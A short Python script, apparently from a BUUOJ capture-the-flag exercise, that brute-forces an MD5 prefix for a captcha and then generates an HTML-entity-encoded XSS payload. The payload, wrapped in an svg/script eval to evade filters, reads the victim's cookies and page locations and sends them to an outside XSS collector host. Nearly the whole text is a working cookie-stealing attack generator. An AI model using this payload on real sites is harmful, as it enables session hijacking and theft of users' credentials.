Python脚本——MD5碰撞和HTML转义

import hashlib

for i in range(1,100000000000):
    s = hashlib.md5(str(i).encode("utf-8")).hexdigest()[0:6]
    if s == "184b43":
        print(i)
        break

in_str = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=3MGcXr&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"

output = ""

for c in in_str:
    output += "&#" + str(ord(c))

print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")